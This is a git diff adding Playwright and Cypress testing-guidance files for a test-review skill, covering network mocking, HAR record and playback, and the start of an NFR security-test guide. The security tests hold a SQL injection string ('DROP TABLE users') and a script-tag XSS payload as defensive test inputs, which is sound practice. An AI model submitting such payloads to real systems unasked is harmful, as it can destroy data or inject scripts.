+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+
+  // HAR saved to ./hars/order-flow.har
+});
+
+// Replay HAR for deterministic tests (no real API needed)
+test('replay order flow from HAR', async ({ page, context }) => {
+  // Replay captured HAR
+  await context.routeFromHAR('./hars/order-flow.har', {
+    url: '**/api/**',
+    update: false, // Read-only mode
+  });
+
+  // Test runs with exact recorded responses - fully deterministic
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+});
+
+// Custom mock based on HAR insights
+test('mock order response based on HAR', async ({ page }) => {
+  // After analyzing HAR, create focused mock
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({
+        orderId: '12345',
+        status: 'confirmed',
+        total: 99.99,
+      }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order #12345')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- HAR files capture real request/response pairs for analysis
+- `update: true` records new traffic; `update: false` replays existing
+- Replay mode makes tests fully deterministic (no upstream API needed)
+- Use HAR to understand API contracts, then create focused mocks
+
+### Example 3: Network Stub with Edge Cases
+
+**Context**: When testing error handling, timeouts, and edge cases, stub network responses to simulate failures. Test both happy path and error scenarios.
+
+**Implementation**:
+
+```typescript
+// Test happy path
+test('order succeeds with valid data', async ({ page }) => {
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({ orderId: '123', status: 'confirmed' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+});
+
+// Test 500 error
+test('order fails with server error', async ({ page }) => {
+  // Listen for console errors (app should log gracefully)
+  const consoleErrors: string[] = [];
+  page.on('console', (msg) => {
+    if (msg.type() === 'error') consoleErrors.push(msg.text());
+  });
+
+  // Stub 500 error
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 500,
+      contentType: 'application/json',
+      body: JSON.stringify({ error: 'Internal Server Error' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // Assert UI shows error gracefully
+  await expect(page.getByText('Something went wrong')).toBeVisible();
+  await expect(page.getByText('Please try again')).toBeVisible();
+
+  // Verify error logged (not thrown)
+  expect(consoleErrors.some((e) => e.includes('Order failed'))).toBeTruthy();
+});
+
+// Test network timeout
+test('order times out after 10 seconds', async ({ page }) => {
+  // Stub delayed response (never resolves within timeout)
+  await page.route(
+    '**/api/orders',
+    (route) => new Promise(() => {}), // Never resolves - simulates timeout
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // App should show timeout message after configured timeout
+  await expect(page.getByText('Request timed out')).toBeVisible({ timeout: 15000 });
+});
+
+// Test partial data response
+test('order handles missing optional fields', async ({ page }) => {
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      // Missing optional fields like 'trackingNumber', 'estimatedDelivery'
+      body: JSON.stringify({ orderId: '123', status: 'confirmed' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // App should handle gracefully - no crash, shows what's available
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+  await expect(page.getByText('Tracking information pending')).toBeVisible();
+});
+
+// Cypress equivalents
+describe('Order Edge Cases', () => {
+  it('should handle 500 error', () => {
+    cy.intercept('POST', '**/api/orders', {
+      statusCode: 500,
+      body: { error: 'Internal Server Error' },
+    }).as('orderFailed');
+
+    cy.visit('/checkout');
+    cy.get('[data-testid="submit-order"]').click();
+    cy.wait('@orderFailed');
+    cy.contains('Something went wrong').should('be.visible');
+  });
+
+  it('should handle timeout', () => {
+    cy.intercept('POST', '**/api/orders', (req) => {
+      req.reply({ delay: 20000 }); // Delay beyond app timeout
+    }).as('orderTimeout');
+
+    cy.visit('/checkout');
+    cy.get('[data-testid="submit-order"]').click();
+    cy.contains('Request timed out', { timeout: 15000 }).should('be.visible');
+  });
+});
+```
+
+**Key Points**:
+
+- Stub different HTTP status codes (200, 400, 500, 503)
+- Simulate timeouts with `delay` or non-resolving promises
+- Test partial/incomplete data responses
+- Verify app handles errors gracefully (no crashes, user-friendly messages)
+
+### Example 4: Deterministic Waiting
+
+**Context**: Never use hard waits (`waitForTimeout(3000)`). Always wait for explicit signals: network responses, element state changes, or custom events.
+
+**Implementation**:
+
+```typescript
+// ✅ GOOD: Wait for response with predicate
+test('wait for specific response', async ({ page }) => {
+  const responsePromise = page.waitForResponse((resp) => resp.url().includes('/api/users') && resp.status() === 200);
+
+  await page.goto('/dashboard');
+  const response = await responsePromise;
+
+  expect(response.status()).toBe(200);
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ✅ GOOD: Wait for multiple responses
+test('wait for all required data', async ({ page }) => {
+  const usersPromise = page.waitForResponse('**/api/users');
+  const productsPromise = page.waitForResponse('**/api/products');
+  const ordersPromise = page.waitForResponse('**/api/orders');
+
+  await page.goto('/dashboard');
+
+  // Wait for all in parallel
+  const [users, products, orders] = await Promise.all([usersPromise, productsPromise, ordersPromise]);
+
+  expect(users.status()).toBe(200);
+  expect(products.status()).toBe(200);
+  expect(orders.status()).toBe(200);
+});
+
+// ✅ GOOD: Wait for spinner to disappear
+test('wait for loading indicator', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Wait for spinner to disappear (signals data loaded)
+  await expect(page.getByTestId('loading-spinner')).not.toBeVisible();
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ✅ GOOD: Wait for custom event (advanced)
+test('wait for custom ready event', async ({ page }) => {
+  let appReady = false;
+  page.on('console', (msg) => {
+    if (msg.text() === 'App ready') appReady = true;
+  });
+
+  await page.goto('/dashboard');
+
+  // Poll until custom condition met
+  await page.waitForFunction(() => appReady, { timeout: 10000 });
+
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ❌ BAD: Hard wait (arbitrary timeout)
+test('flaky hard wait example', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(3000); // WHY 3 seconds? What if slower? What if faster?
+  await expect(page.getByText('Dashboard')).toBeVisible(); // May fail if >3s
+});
+
+// Cypress equivalents
+describe('Deterministic Waiting', () => {
+  it('should wait for response', () => {
+    cy.intercept('GET', '**/api/users').as('getUsers');
+    cy.visit('/dashboard');
+    cy.wait('@getUsers').its('response.statusCode').should('eq', 200);
+    cy.contains('Dashboard').should('be.visible');
+  });
+
+  it('should wait for spinner to disappear', () => {
+    cy.visit('/dashboard');
+    cy.get('[data-testid="loading-spinner"]').should('not.exist');
+    cy.contains('Dashboard').should('be.visible');
+  });
+
+  // ❌ BAD: Hard wait
+  it('flaky hard wait', () => {
+    cy.visit('/dashboard');
+    cy.wait(3000); // NEVER DO THIS
+    cy.contains('Dashboard').should('be.visible');
+  });
+});
+```
+
+**Key Points**:
+
+- `waitForResponse()` with URL pattern or predicate = deterministic
+- `waitForLoadState('networkidle')` = wait for all network activity to finish
+- Wait for element state changes (spinner disappears, button enabled)
+- **NEVER** use `waitForTimeout()` or `cy.wait(ms)` - always non-deterministic
+
+### Example 5: Anti-Pattern - Navigate Then Mock
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Race condition - mock registered AFTER navigation starts
+test('flaky test - navigate then mock', async ({ page }) => {
+  // Navigation starts immediately
+  await page.goto('/dashboard'); // Request to /api/users fires NOW
+
+  // Mock registered too late - request already sent
+  await page.route('**/api/users', (route) =>
+    route.fulfill({
+      status: 200,
+      body: JSON.stringify([{ id: 1, name: 'Test User' }]),
+    }),
+  );
+
+  // Test randomly passes/fails depending on timing
+  await expect(page.getByText('Test User')).toBeVisible(); // Flaky!
+});
+
+// ❌ BAD: No wait for response
+test('flaky test - no explicit wait', async ({ page }) => {
+  await page.route('**/api/users', (route) => route.fulfill({ status: 200, body: JSON.stringify([]) }));
+
+  await page.goto('/dashboard');
+
+  // Assertion runs immediately - may fail if response slow
+  await expect(page.getByText('No users found')).toBeVisible(); // Flaky!
+});
+
+// ❌ BAD: Generic timeout
+test('flaky test - hard wait', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(2000); // Arbitrary wait - brittle
+
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+```
+
+**Why It Fails**:
+
+- **Mock after navigate**: Request fires during navigation, mock isn't active yet (race condition)
+- **No explicit wait**: Assertion runs before response arrives (timing-dependent)
+- **Hard waits**: Slow tests, brittle (fails if < timeout, wastes time if > timeout)
+- **Non-deterministic**: Passes locally, fails in CI (different speeds)
+
+**Better Approach**: Always intercept → trigger → await
+
+```typescript
+// ✅ GOOD: Intercept BEFORE navigate
+test('deterministic test', async ({ page }) => {
+  // Step 1: Register mock FIRST
+  await page.route('**/api/users', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify([{ id: 1, name: 'Test User' }]),
+    }),
+  );
+
+  // Step 2: Store response promise BEFORE trigger
+  const responsePromise = page.waitForResponse('**/api/users');
+
+  // Step 3: THEN trigger
+  await page.goto('/dashboard');
+
+  // Step 4: THEN await response
+  await responsePromise;
+
+  // Step 5: THEN assert (data is guaranteed loaded)
+  await expect(page.getByText('Test User')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Order matters: Mock → Promise → Trigger → Await → Assert
+- No race conditions: Mock is active before request fires
+- Explicit wait: Response promise ensures data loaded
+- Deterministic: Always passes if app works correctly
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (network setup)
+- **Related fragments**:
+  - `fixture-architecture.md` - Network fixture patterns
+  - `data-factories.md` - API-first setup with network
+  - `test-quality.md` - Deterministic test principles
+
+## Debugging Network Issues
+
+When network tests fail, check:
+
+1. **Timing**: Is interception registered **before** action?
+2. **URL pattern**: Does pattern match actual request URL?
+3. **Response format**: Is mocked response valid JSON/format?
+4. **Status code**: Is app checking for 200 vs 201 vs 204?
+5. **HAR file**: Capture real traffic to understand actual API contract
+
+```typescript
+// Debug network issues with logging
+test('debug network', async ({ page }) => {
+  // Log all requests
+  page.on('request', (req) => console.log('→', req.method(), req.url()));
+
+  // Log all responses
+  page.on('response', (resp) => console.log('←', resp.status(), resp.url()));
+
+  await page.goto('/dashboard');
+});
+```
+
+_Source: Murat Testing Philosophy (lines 94-137), Playwright network patterns, Cypress intercept best practices._
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/network-recorder.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/network-recorder.md
new file mode 100644
index 0000000..ca86323
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/network-recorder.md
@@ -0,0 +1,527 @@
+# Network Recorder Utility
+
+## Principle
+
+Record network traffic to HAR files during test execution, then play back from disk for offline testing. Enables frontend tests to run in complete isolation from backend services with intelligent stateful CRUD detection for realistic API behavior.
+
+## Rationale
+
+Traditional E2E tests require live backend services:
+
+- Slow (real network latency)
+- Flaky (backend instability affects tests)
+- Expensive (full stack running for UI tests)
+- Coupled (UI tests break when API changes)
+
+HAR-based recording/playback provides:
+
+- **True offline testing**: UI tests run without backend
+- **Deterministic behavior**: Same responses every time
+- **Fast execution**: No network latency
+- **Stateful mocking**: CRUD operations work naturally (not just read-only)
+- **Environment flexibility**: Map URLs for any environment
+
+## Quick Start
+
+### 1. Record Network Traffic
+
+```typescript
+// Set mode to 'record' to capture network traffic
+process.env.PW_NET_MODE = 'record';
+
+test('should add, edit and delete a movie', async ({ page, context, networkRecorder }) => {
+  // Setup network recorder - it will record all network traffic
+  await networkRecorder.setup(context);
+
+  // Your normal test code
+  await page.goto('/');
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+
+  // Network traffic is automatically saved to HAR file
+});
+```
+
+### 2. Playback Network Traffic
+
+```typescript
+// Set mode to 'playback' to use recorded traffic
+process.env.PW_NET_MODE = 'playback';
+
+test('should add, edit and delete a movie', async ({ page, context, networkRecorder }) => {
+  // Setup network recorder - it will replay from HAR file
+  await networkRecorder.setup(context);
+
+  // Same test code runs without hitting real backend!
+  await page.goto('/');
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+});
+```
+
+That's it! Your tests now run completely offline using recorded network traffic.
+
+## Pattern Examples
+
+### Example 1: Basic Record and Playback
+
+**Context**: The fundamental pattern - record traffic once, play back for all subsequent runs.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-recorder/fixtures';
+
+// Set mode in test file (recommended)
+process.env.PW_NET_MODE = 'playback'; // or 'record'
+
+test('CRUD operations work offline', async ({ page, context, networkRecorder }) => {
+  // Setup recorder (records or plays back based on PW_NET_MODE)
+  await networkRecorder.setup(context);
+
+  await page.goto('/');
+
+  // First time (record mode): Records all network traffic to HAR
+  // Subsequent runs (playback mode): Plays back from HAR (no backend!)
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+
+  // Intelligent CRUD detection makes this work offline!
+  await expect(page.getByText('Inception')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `PW_NET_MODE=record` captures traffic to HAR files
+- `PW_NET_MODE=playback` replays from HAR files
+- Set mode in test file or via environment variable
+- HAR files auto-organized by test name
+- Stateful mocking detects CRUD operations
+
+### Example 2: Complete CRUD Flow with HAR
+
+**Context**: Full create-read-update-delete flow that works completely offline.
+
+**Implementation**:
+
+```typescript
+process.env.PW_NET_MODE = 'playback';
+
+test.describe('Movie CRUD - offline with network recorder', () => {
+  test.beforeEach(async ({ page, networkRecorder, context }) => {
+    await networkRecorder.setup(context);
+    await page.goto('/');
+  });
+
+  test('should add, edit, delete movie browser-only', async ({ page, interceptNetworkCall }) => {
+    // Create
+    await page.fill('#movie-name', 'Inception');
+    await page.fill('#year', '2010');
+    await page.click('#add-movie');
+
+    // Verify create (reads from stateful HAR)
+    await expect(page.getByText('Inception')).toBeVisible();
+
+    // Update
+    await page.getByText('Inception').click();
+    await page.fill('#movie-name', "Inception Director's Cut");
+
+    const updateCall = interceptNetworkCall({
+      method: 'PUT',
+      url: '/movies/*',
+    });
+
+    await page.click('#save');
+    await updateCall; // Wait for update
+
+    // Verify update (HAR reflects state change!)
+    await page.click('#back');
+    await expect(page.getByText("Inception Director's Cut")).toBeVisible();
+
+    // Delete
+    await page.click(`[data-testid="delete-Inception Director's Cut"]`);
+
+    // Verify delete (HAR reflects removal!)
+    await expect(page.getByText("Inception Director's Cut")).not.toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Full CRUD operations work offline
+- Stateful HAR mocking tracks creates/updates/deletes
+- Combine with `interceptNetworkCall` for deterministic waits
+- First run records, subsequent runs replay
+
+### Example 3: Common Patterns
+
+**Recording Only API Calls**:
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    urlFilter: /\/api\//, // Only record API calls, ignore static assets
+  },
+});
+```
+
+**Playback with Fallback**:
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    fallback: true, // Fall back to live requests if HAR entry missing
+  },
+});
+```
+
+**Custom HAR File Location**:
+
+```typescript
+await networkRecorder.setup(context, {
+  harFile: {
+    harDir: 'recordings/api-calls',
+    baseName: 'user-journey',
+    organizeByTestFile: false, // Optional: flatten directory structure
+  },
+});
+```
+
+**Directory Organization:**
+
+- `organizeByTestFile: true` (default): `har-files/test-file-name/baseName-test-title.har`
+- `organizeByTestFile: false`: `har-files/baseName-test-title.har`
+
+### Example 4: Response Content Storage - Embed vs Attach
+
+**Context**: Choose how response content is stored in HAR files.
+
+**`embed` (Default - Recommended):**
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    content: 'embed', // Store content inline (default)
+  },
+});
+```
+
+**Pros:**
+
+- Single self-contained file - Easy to share, version control
+- Better for small-medium responses (API JSON, HTML pages)
+- HAR specification compliant
+
+**Cons:**
+
+- Larger HAR files
+- Not ideal for large binary content (images, videos)
+
+**`attach` (Alternative):**
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    content: 'attach', // Store content separately
+  },
+});
+```
+
+**Pros:**
+
+- Smaller HAR files
+- Better for large responses (images, videos, documents)
+
+**Cons:**
+
+- Multiple files to manage
+- Harder to share
+
+**When to Use Each:**
+
+| Use `embed` (default) when          | Use `attach` when               |
+| ----------------------------------- | ------------------------------- |
+| Recording API responses (JSON, XML) | Recording large images, videos  |
+| Small to medium HTML pages          | HAR file size >50MB             |
+| You want a single, portable file    | Maximum disk efficiency needed  |
+| Sharing HAR files with team         | Working with ZIP archive output |
+
+### Example 5: Cross-Environment Compatibility (URL Mapping)
+
+**Context**: Record in dev environment, play back in CI with different base URLs.
+
+**The Problem**: HAR files contain URLs for the recording environment (e.g., `dev.example.com`). Playing back on a different environment fails.
+
+**Simple Hostname Mapping:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      hostMapping: {
+        'preview.example.com': 'dev.example.com',
+        'staging.example.com': 'dev.example.com',
+        'localhost:3000': 'dev.example.com',
+      },
+    },
+  },
+});
+```
+
+**Pattern-Based Mapping (Recommended):**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      patterns: [
+        // Map any preview-XXXX subdomain to dev
+        { match: /preview-\d+\.example\.com/, replace: 'dev.example.com' },
+      ],
+    },
+  },
+});
+```
+
+**Custom Function:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      mapUrl: (url) => url.replace('staging.example.com', 'dev.example.com'),
+    },
+  },
+});
+```
+
+**Complex Multi-Environment Example:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      hostMapping: {
+        'localhost:3000': 'admin.example.com',
+        'admin-staging.example.com': 'admin.example.com',
+        'admin.example.com': 'admin.example.com',
+      },
+      patterns: [
+        { match: /admin-\d+\.example\.com/, replace: 'admin.example.com' },
+        { match: /admin-staging-pr-\w+-\d\.example\.com/, replace: 'admin.example.com' },
+      ],
+    },
+  },
+});
+```
+
+**Benefits:**
+
+- Record once on dev, all environments map back to recordings
+- CORS headers automatically updated based on request origin
+- Debug with: `LOG_LEVEL=debug npm run test`
+
+## Why Use This Instead of Native Playwright?
+
+| Native Playwright (`routeFromHAR`) | network-recorder Utility       |
+| ---------------------------------- | ------------------------------ |
+| ~80 lines setup boilerplate        | ~5 lines total                 |
+| Manual HAR file management         | Automatic file organization    |
+| Complex setup/teardown             | Automatic cleanup via fixtures |
+| **Read-only tests only**           | **Full CRUD support**          |
+| **Stateless**                      | **Stateful mocking**           |
+| Manual URL mapping                 | Automatic environment mapping  |
+
+**The game-changer: Stateful CRUD detection**
+
+Native Playwright HAR playback is stateless - a POST create followed by GET list won't show the created item. This utility intelligently tracks CRUD operations in memory to reflect state changes, making offline tests behave like real APIs.
+
+## How Stateful CRUD Detection Works
+
+When in playback mode, the Network Recorder automatically analyzes your HAR file to detect CRUD patterns. If it finds:
+
+- Multiple GET requests to the same resource endpoint (e.g., `/movies`)
+- Mutation operations (POST, PUT, DELETE) to those resources
+- Evidence of state changes between identical requests
+
+It automatically switches from static HAR playback to an intelligent stateful mock that:
+
+- Maintains state across requests
+- Auto-generates IDs for new resources
+- Returns proper 404s for deleted resources
+- Supports polling scenarios where state changes over time
+
+**This happens automatically - no configuration needed!**
+
+## API Reference
+
+### NetworkRecorder Methods
+
+| Method               | Return Type              | Description                                   |
+| -------------------- | ------------------------ | --------------------------------------------- |
+| `setup(context)`     | `Promise<void>`          | Sets up recording/playback on browser context |
+| `cleanup()`          | `Promise<void>`          | Flushes data to disk and cleans up memory     |
+| `getContext()`       | `NetworkRecorderContext` | Gets current recorder context information     |
+| `getStatusMessage()` | `string`                 | Gets human-readable status message            |
+| `getHarStats()`      | `Promise<HarFileStats>`  | Gets HAR file statistics and metadata         |
+
+### Understanding `cleanup()`
+
+The `cleanup()` method performs memory and resource cleanup - **it does NOT delete HAR files**:
+
+**What it does:**
+
+- Flushes recorded data to disk (writes HAR file in recording mode)
+- Releases file locks
+- Clears in-memory data
+- Resets internal state
+
+**What it does NOT do:**
+
+- Delete HAR files from disk
+- Remove recorded network traffic
+- Clear browser context or cookies
+
+### Configuration Options
+
+```typescript
+type NetworkRecorderConfig = {
+  harFile?: {
+    harDir?: string; // Directory for HAR files (default: 'har-files')
+    baseName?: string; // Base name for HAR files (default: 'network-traffic')
+    organizeByTestFile?: boolean; // Organize by test file (default: true)
+  };
+
+  recording?: {
+    content?: 'embed' | 'attach'; // Response content handling (default: 'embed')
+    urlFilter?: string | RegExp; // URL filter for recording
+    update?: boolean; // Update existing HAR files (default: false)
+  };
+
+  playback?: {
+    fallback?: boolean; // Fall back to live requests (default: false)
+    urlFilter?: string | RegExp; // URL filter for playback
+    updateMode?: boolean; // Update mode during playback (default: false)
+  };
+
+  forceMode?: 'record' | 'playback' | 'disabled';
+};
+```
+
+## Environment Configuration
+
+Control the recording mode using the `PW_NET_MODE` environment variable:
+
+```bash
+# Record mode - captures network traffic to HAR files
+PW_NET_MODE=record npm run test:pw
+
+# Playback mode - replays network traffic from HAR files
+PW_NET_MODE=playback npm run test:pw
+
+# Disabled mode - no network recording/playback
+PW_NET_MODE=disabled npm run test:pw
+
+# Default behavior (when PW_NET_MODE is empty/unset) - same as disabled
+npm run test:pw
+```
+
+**Tip**: We recommend setting `process.env.PW_NET_MODE` directly in your test file for better control.
+
+## Troubleshooting
+
+### HAR File Not Found
+
+If you see "HAR file not found" errors during playback:
+
+1. Ensure you've recorded the test first with `PW_NET_MODE=record`
+2. Check the HAR file exists in the expected location (usually `har-files/`)
+3. Enable fallback mode: `playback: { fallback: true }`
+
+### Authentication and Network Recording
+
+The network recorder works seamlessly with authentication:
+
+```typescript
+test('Authenticated recording', async ({ page, context, authSession, networkRecorder }) => {
+  // First authenticate
+  await authSession.login('testuser', 'password');
+
+  // Then setup network recording with authenticated context
+  await networkRecorder.setup(context);
+
+  // Test authenticated flows
+  await page.goto('/dashboard');
+});
+```
+
+### Concurrent Test Issues
+
+The recorder includes built-in file locking for safe parallel execution. Each test gets its own HAR file based on the test name.
+
+## Integration with Other Utilities
+
+**With interceptNetworkCall (deterministic waits):**
+
+```typescript
+test('use both utilities', async ({ page, context, networkRecorder, interceptNetworkCall }) => {
+  await networkRecorder.setup(context);
+
+  const createCall = interceptNetworkCall({
+    method: 'POST',
+    url: '/api/movies',
+  });
+
+  await page.click('#add-movie');
+  await createCall; // Wait for create (works with HAR!)
+
+  // Network recorder provides playback, intercept provides determinism
+});
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and fixture patterns
+- `intercept-network-call.md` - Combine for deterministic offline tests
+- `auth-session.md` - Record authenticated traffic
+- `network-first.md` - Core pattern for intercept-before-navigate
+
+## Anti-Patterns
+
+**DON'T mix record and playback in same test:**
+
+```typescript
+process.env.PW_NET_MODE = 'record';
+// ... some test code ...
+process.env.PW_NET_MODE = 'playback'; // Don't switch mid-test
+```
+
+**DO use one mode per test:**
+
+```typescript
+process.env.PW_NET_MODE = 'playback'; // Set once at top
+
+test('my test', async ({ page, context, networkRecorder }) => {
+  await networkRecorder.setup(context);
+  // Entire test uses playback mode
+});
+```
+
+**DON'T forget to call setup:**
+
+```typescript
+test('broken', async ({ page, networkRecorder }) => {
+  await page.goto('/'); // HAR not active!
+});
+```
+
+**DO always call setup before navigation:**
+
+```typescript
+test('correct', async ({ page, context, networkRecorder }) => {
+  await networkRecorder.setup(context); // Must setup first
+  await page.goto('/'); // Now HAR is active
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/nfr-criteria.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/nfr-criteria.md
new file mode 100644
index 0000000..33d5814
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/nfr-criteria.md
@@ -0,0 +1,670 @@
+# Non-Functional Requirements (NFR) Criteria
+
+## Principle
+
+Non-functional requirements (security, performance, reliability, maintainability) are **validated through automated tests**, not checklists. NFR assessment uses objective pass/fail criteria tied to measurable thresholds. Ambiguous requirements default to CONCERNS until clarified.
+
+## Rationale
+
+**The Problem**: Teams ship features that "work" functionally but fail under load, expose security vulnerabilities, or lack error recovery. NFRs are treated as optional "nice-to-haves" instead of release blockers.
+
+**The Solution**: Define explicit NFR criteria with automated validation. Security tests verify auth/authz and secret handling. Performance tests enforce SLO/SLA thresholds with profiling evidence. Reliability tests validate error handling, retries, and health checks. Maintainability is measured by test coverage, code duplication, and observability.
+
+**Why This Matters**:
+
+- Prevents production incidents (security breaches, performance degradation, cascading failures)
+- Provides objective release criteria (no subjective "feels fast enough")
+- Automates compliance validation (audit trail for regulated environments)
+- Forces clarity on ambiguous requirements (default to CONCERNS)
+
+## Pattern Examples
+
+### Example 1: Security NFR Validation (Auth, Secrets, OWASP)
+
+**Context**: Automated security tests enforcing authentication, authorization, and secret handling
+
+**Implementation**:
+
+```typescript
+// tests/nfr/security.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Security NFR: Authentication & Authorization', () => {
+  test('unauthenticated users cannot access protected routes', async ({ page }) => {
+    // Attempt to access dashboard without auth
+    await page.goto('/dashboard');
+
+    // Should redirect to login (not expose data)
+    await expect(page).toHaveURL(/\/login/);
+    await expect(page.getByText('Please sign in')).toBeVisible();
+
+    // Verify no sensitive data leaked in response
+    const pageContent = await page.content();
+    expect(pageContent).not.toContain('user_id');
+    expect(pageContent).not.toContain('api_key');
+  });
+
+  test('JWT tokens expire after 15 minutes', async ({ page, request }) => {
+    // Login and capture token
+    await page.goto('/login');
+    await page.getByLabel('Email').fill('test@example.com');
+    await page.getByLabel('Password').fill('ValidPass123!');
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    const token = await page.evaluate(() => localStorage.getItem('auth_token'));
+    expect(token).toBeTruthy();
+
+    // Wait 16 minutes (use mock clock in real tests)
+    await page.clock.fastForward('00:16:00');
+
+    // Token should be expired, API call should fail
+    const response = await request.get('/api/user/profile', {
+      headers: { Authorization: `Bearer ${token}` },
+    });
+
+    expect(response.status()).toBe(401);
+    const body = await response.json();
+    expect(body.error).toContain('expired');
+  });
+
+  test('passwords are never logged or exposed in errors', async ({ page }) => {
+    // Trigger login error
+    await page.goto('/login');
+    await page.getByLabel('Email').fill('test@example.com');
+    await page.getByLabel('Password').fill('WrongPassword123!');
+
+    // Monitor console for password leaks
+    const consoleLogs: string[] = [];
+    page.on('console', (msg) => consoleLogs.push(msg.text()));
+
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    // Error shown to user (generic message)
+    await expect(page.getByText('Invalid credentials')).toBeVisible();
+
+    // Verify password NEVER appears in console, DOM, or network
+    const pageContent = await page.content();
+    expect(pageContent).not.toContain('WrongPassword123!');
+    expect(consoleLogs.join('\n')).not.toContain('WrongPassword123!');
+  });
+
+  test('RBAC: users can only access resources they own', async ({ page, request }) => {
+    // Login as User A
+    const userAToken = await login(request, 'userA@example.com', 'password');
+
+    // Try to access User B's order
+    const response = await request.get('/api/orders/user-b-order-id', {
+      headers: { Authorization: `Bearer ${userAToken}` },
+    });
+
+    expect(response.status()).toBe(403); // Forbidden
+    const body = await response.json();
+    expect(body.error).toContain('insufficient permissions');
+  });
+
+  test('SQL injection attempts are blocked', async ({ page }) => {
+    await page.goto('/search');
+
+    // Attempt SQL injection
+    await page.getByPlaceholder('Search products').fill("'; DROP TABLE users; --");
+    await page.getByRole('button', { name: 'Search' }).click();
+
+    // Should return empty results, NOT crash or expose error
+    await expect(page.getByText('No results found')).toBeVisible();
+
+    // Verify app still works (table not dropped)
+    await page.goto('/dashboard');
+    await expect(page.getByText('Welcome')).toBeVisible();
+  });
+
+  test('XSS attempts are sanitized', async ({ page }) => {
+    await page.goto('/profile/edit');
+
+    // Attempt XSS injection
+    const xssPayload = '<script>alert("XSS")</script>';
+    await page.getByLabel('Bio').fill(xssPayload);
+    await page.getByRole('button', { name: 'Save' }).click();
+
+    // Reload and verify XSS is escaped (not executed)
+    await page.reload();
+    const bio = await page.getByTestId('user-bio').textContent();
+
+    // Text should be escaped, script should NOT execute
+    expect(bio).toContain('&lt;script&gt;');
+    expect(bio).not.toContain('<script>');
+  });
+});
+
+// Helper
+async function login(request: any, email: string, password: string): Promise<string> {
+  const response = await request.post('/api/auth/login', {
+    data: { email, password },
+  });
+  const body = await response.json();
+  return body.token;
+}
+```
+
+**Key Points**:
+
+- Authentication: Unauthenticated access redirected (not exposed)
+- Authorization: RBAC enforced (403 for insufficient permissions)
+- Token expiry: JWT expires after 15 minutes (automated validation)
+- Secret handling: Passwords never logged or exposed in errors
+- OWASP Top 10: SQL injection and XSS blocked (input sanitization)
+
+**Security NFR Criteria**:
+
+- ✅ PASS: All 6 tests green (auth, authz, token expiry, secret handling, SQL injection, XSS)
+- ⚠️ CONCERNS: 1-2 tests failing with mitigation plan and owner assigned
+- ❌ FAIL: Critical exposure (unauthenticated access, password leak, SQL injection succeeds)
+
+---
+
+### Example 2: Performance NFR Validation (k6 Load Testing for SLO/SLA)
+
+**Context**: Use k6 for load testing, stress testing, and SLO/SLA enforcement (NOT Playwright)
+
+**Implementation**:
+
+```javascript
+// tests/nfr/performance.k6.js
+import http from 'k6/http';
+import { check, sleep } from 'k6';
+import { Rate, Trend } from 'k6/metrics';
